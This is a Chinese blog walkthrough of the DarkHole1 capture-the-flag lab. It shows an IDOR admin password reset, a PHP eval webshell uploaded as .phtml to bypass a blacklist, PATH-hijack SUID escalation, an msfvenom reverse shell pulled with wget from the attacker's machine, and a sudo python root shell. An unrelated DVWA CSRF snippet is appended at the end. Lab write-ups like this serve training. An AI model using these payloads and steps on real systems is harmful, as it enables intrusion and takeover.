darkhole1靶场渗透通关

darkhole1靶场渗透通关过程

记录下靶场实战的通关过程。主要通关流程是利用web页面的逻辑漏洞进行越权,再绕过文件上传黑名单上传木马getshell,最后通过本地环境变量进行提权。只是一种思路,也可以用一些其他通杀漏洞(CVE-2021-4034)来打。

在这里插入图片描述

信息收集

首先拿到靶机ip 扫描c段

nmap -sP 192.168.3.1/24

在这里插入图片描述

扫出靶机为192.168.3.129

端口扫描(进行全面扫描防止漏扫)

nmap -p 1-65535 -A 192.168.3.129

在这里插入图片描述

目标只开放了22/80端口

80端口识别出服务器为apache2.4.41(这个版本好像存在解析漏洞,后面可能用到),不出意外是php的网页

在这里插入图片描述
顺便看下页面源代码,没有找到有用信息

在这里插入图片描述

接下来对该网站进行目录搜集

python dirsearch.py -u http://192.168.3.129/

在这里插入图片描述

等程序跑完查看报告

# Dirsearch started Sat Oct  1 08:19:33 2022 as: dirsearch.py -u http://192.168.3.129/

403   278B   http://192.168.3.129/.ht_wsr.txt
403   278B   http://192.168.3.129/.htaccess.bak1
301   311B   http://192.168.3.129/js    -> REDIRECTS TO: http://192.168.3.129/js/
403   278B   http://192.168.3.129/.htaccess.save
403   278B   http://192.168.3.129/.htaccess.sample
403   278B   http://192.168.3.129/.htaccess.orig
403   278B   http://192.168.3.129/.htaccess_extra
403   278B   http://192.168.3.129/.htaccess_sc
403   278B   http://192.168.3.129/.htaccessOLD
403   278B   http://192.168.3.129/.htaccessOLD2
403   278B   http://192.168.3.129/.htaccess_orig
403   278B   http://192.168.3.129/.htaccessBAK
403   278B   http://192.168.3.129/.html
403   278B   http://192.168.3.129/.htm
403   278B   http://192.168.3.129/.htpasswd_test
403   278B   http://192.168.3.129/.htpasswds
403   278B   http://192.168.3.129/.httr-oauth
403   278B   http://192.168.3.129/.php
301   315B   http://192.168.3.129/config    -> REDIRECTS TO: http://192.168.3.129/config/
200   947B   http://192.168.3.129/config/
301   312B   http://192.168.3.129/css    -> REDIRECTS TO: http://192.168.3.129/css/
200    21B   http://192.168.3.129/dashboard.php
200     1KB  http://192.168.3.129/js/
200     2KB  http://192.168.3.129/login.php
302     0B   http://192.168.3.129/logout.php    -> REDIRECTS TO: login.php
200     3KB  http://192.168.3.129/register.php
403   278B   http://192.168.3.129/server-status
403   278B   http://192.168.3.129/server-status/
301   315B   http://192.168.3.129/upload    -> REDIRECTS TO: http://192.168.3.129/upload/
200   932B   http://192.168.3.129/upload/

403状态码为禁止访问

301状态码为永久移动

302状态码为临时移动

搜集200状态码可以成功访问的目录

http://192.168.3.129/config/
http://192.168.3.129/dashboard.php
http://192.168.3.129/js/
http://192.168.3.129/login.php
http://192.168.3.129/register.php
http://192.168.3.129/upload/

接下来看看一下这些页面(根据经验config目录可能存在信息泄露/login与register登录注册页面可能存在逻辑漏洞/upload可能存在文件上传getshell)接下来也会重点关注这几个问题

首先看下config目录

在这里插入图片描述

发现database.php,点进去看不到白高兴了

看下dashboard.php

在这里插入图片描述

这个也进不去,英文字面意思为仪表板,猜测可能是后台之类的可能得登录才有权限访问

看下js目录

在这里插入图片描述

两个js文件,先收集下来后面可能需要进行代码审计(大致看了下没啥用)

dashboard.js

function form_display_hour() {
    if (document.getElementById("fallday").checked) {
        document.getElementById("fhourdiv").style.display = "none";
    } else {
        document.getElementById("fhourdiv").style.display = "flex";
    }
}

function form_init() {
    const today = new Date().toISOString();
    const date = today.split("T")[0];
    document.getElementById("fdate").min = date;
    document.getElementById("fstart").step = 900;
    document.getElementById("fend").step = 900;
}

function time_step_str(date, step) {
    var minutes = date.getMinutes() + step;
    var hours = date.getHours() + Math.floor(minutes / 60);
    minutes %= 60;
    hour = String(hours).padStart(2, "0");
    minutes = String(minutes).padStart(2, "0");
    return `${hours}:${minutes}`;
}

function form_validate_hour() {
    const start = document.getElementById("fstart");
    const end = document.getElementById("fend");

    var startDate = new Date();
    var endDate = new Date();

    startDate.setHours(...start.value.split(":").map(Number));

    if (end.value === "") {
        end.value = time_step_str(startDate, Number(end.step) / 60);
    }

    endDate.setHours(...end.value.split(":").map(Number));

    if (startDate > endDate) {
        end.value = time_step_str(startDate, Number(end.step) / 60);
    }
}

form_init();

home.js

window.onscroll = function() {myFunction()};

var header = document.getElementById("nav-bar");
var sticky = header.offsetTop;

function myFunction() {
    if (window.pageYOffset > sticky) {
        header.classList.add("sticky");
    } else {
        header.classList.remove("sticky");
    }
}

接下来看下login.php

在这里插入图片描述

不出意外是个登录页面,后面看看有没有漏洞

然后同样是register.php注册页面

在这里插入图片描述

这两个页面都有可能存在sql注入,先不管

接下来看下upload目录
在这里插入图片描述

有个图片,看样子在拍电影应该是某个外国明星。有可能图片里隐藏了密码,先收集下来防止被作者偷袭。
在这里插入图片描述

目前网站第一层的信息收集的差不多了,进入渗透阶段。

渗透阶段

看样子是只能从登录/注册页面开始下手了

在登录页面拿我的字典弱口令爆破下,看能不能直接登上管理员的账号。(不出意外没跑下来)

那就先注册吧,注册之前养成好习惯把bp启动,拦截到注册的请求包

在这里插入图片描述

发现第一个无限注册的漏洞(靶场没卵用),后端只校验用户名/邮箱/在数据库重没重复,并没有验证码进行注册限制。

接下来用注册好的账号登录,在拦截登录第二个包发现个熟悉的身影adshboard.php并且携带id

在这里插入图片描述

因为我注册了两个号,admin123和admin1234,admin1234的id为3那么管理员的id可能为1,修改id=1试试能不能越权访问

在这里插入图片描述

可以的,给我拦截了,再看看有没有sql注入,靶场懒得手工注入了直接sqlmap跑一下

sqlmap -u "http://192.168.3.129/dashboard.php?id=3" --batch

在这里插入图片描述

没跑下来,暂时忽略这个请求包,继续进行渗透

登录不了别人的,老老实实登自己的账号吧,登录成功到了一个可以修改用户信息和密码的页面

在这里插入图片描述

先试试修改Details信息,把用户名和邮箱admin1234改成了admin12345,试试把它改成其他存在用户admin123看看可不可以,改完没有效果,当修改id还是被拦截下来了

那么希望全都寄托在修改password的身上了。修改密码发现这个请求包是post的请求,而之前的都是get请求。看看这个接口有没有越权漏洞,更改post请求参数为id=1看看能不能更改管理员账号的密码
在这里插入图片描述

因为之前登录弱口令爆破时爆破admin时提示我用户重复了,说明这个用户是存在的,可能就是id=1的用户

尝试用新修改的admin密码登录admin账号,果然成功了

在这里插入图片描述

多了个upload模块,很明显了文件上传getshell,接下来就是怎么绕过限制或者黑名单

先上传一句木马试试水

<?php eval($_POST[tpa]);?>

在这里插入图片描述

做了上传格式的限制,通过测试找到了黑名单的漏网之鱼.phtml后缀并没有进行限制

在这里插入图片描述

蚁剑连接成功 直接getshell
在这里插入图片描述

提权阶段

现在用户是www-data接下来要做的就是提权到root

查看敏感文件找到存在可以提权的用户

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

去john用户的家目录看看能不能找到有用的信息

ls -lh

在这里插入图片描述

1文件类型3文件拥有者权限3文件所属用户组权限3其他用户权限

#文件权限符以 d 开头的代表是文件夹

drwxrwxrwx

#文件权限符以 - 开头的代表是文件(包括硬链接文件,硬链接文件相当于原文件的备份,可以与原文件做到同步更新)

-rwxrwxrwx

#文件权限符以 l 开头的代表是软链接文件,软链接文件相当于原文件的快捷方式

lrwxrwxrwx

#文件权限符以 c 开头的代表是字符设备文件,例:鼠标、键盘;

crwxrwxrwx

#文件权限符以 b 开头的代表是块设备文件,例:硬盘;

brwxrwxrwx

r读w写x执行

SUID提权

这toto命令具有SUID权限,运行一下

在这里插入图片描述

看一下角色变没变

在这里插入图片描述

是否能查看目录下文件(仍然没有)
在这里插入图片描述

这个toto看输出可能是单纯执行了id命令

在这里插入图片描述

更改环境变量,等执行./toto时会执行id,执行id时就会执行我们的/bin/bash

echo "/bin/bash" > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
./toto

在这里插入图片描述

正常来讲应该是成功了,但这却失败了可能是蚁剑的原因,反弹到kali机上试试

反弹命令还得找怕写错了,直接用msf顺便熟悉下

生成php反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.3.128 lport=7777 -o msfshell.php

在这里插入图片描述

开启http

python -m http.server 80

蚁剑终端下载msfshell.php

还是先回到upload目录

cd /var/www/html/upload

下载

wget http://192.168.3.128/msfshell.php

在这里插入图片描述

kali开启监听端口7777

msfconsole
set lhost 192.168.3.128
set lport 7777
set payload php/meterpreter/reverse_tcp

在这里插入图片描述

看看参数是不是都填完了
在这里插入图片描述
确认后run开始监听
在这里插入图片描述

访问shell文件 触发监听

http://192.168.3.129/upload/msfshell.php

在这里插入图片描述

成功拿到meterpreter

进入交互式shell

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
拿到交互式shell后继续执行刚才环境变量提权的命令,成功进入到john账号

在这里插入图片描述

看看john目录下的文件

在这里插入图片描述

只看到了password的john的密码root123还是个弱口令

user.txt没权限看不了,还有个空的file.py文件

查看当前用户可运行的文件或命令

sudo -l

需要刚才获取到的密码root123

在这里插入图片描述

读取到john能以root权限执行file.py

接下来把john提权到root

写入file.py

echo "import pty;pty.spawn('/bin/bash')" > file.py

执行

sudo python3 /home/john/file.py

在这里插入图片描述
成功拿到root
在这里插入图片描述

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在进行DVWA靶场的CSRF通关时,通常需要利用一个带有恶意代码的链接,来欺骗用户点击该链接,从而触发CSRF攻击。引用和引用提供了两个链接,其中包含了类似以下格式的参数:password_new=123456&password_conf=123456&Change=Change&user_token=xxxxxxxxxxxxxx。其中,user_token是一个用于防止CSRF攻击的令牌。 为了成功完成CSRF通关,你可以使用这些链接中的其中一个,将其发送给目标用户,以诱使该用户点击链接。当用户点击链接时,恶意代码就会利用用户的登录凭证进行操作,例如更改密码。这样,你就能成功完成DVWA靶场的CSRF通关。 需要注意的是,为了成功进行CSRF攻击,你需要确保目标用户已经登录了DVWA靶场,并且用户的浏览器没有启用CSRF防护机制(如SameSite属性或CSRF令牌验证)。同时,也要注意遵循法律和道德规范,不要进行未经授权的攻击行为。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [DVWA靶场之CSRF通关详解](https://blog.csdn.net/qq_62169455/article/details/131427023)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [kali2021.3安装dvwa靶场](https://download.csdn.net/download/u014419722/82144505)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值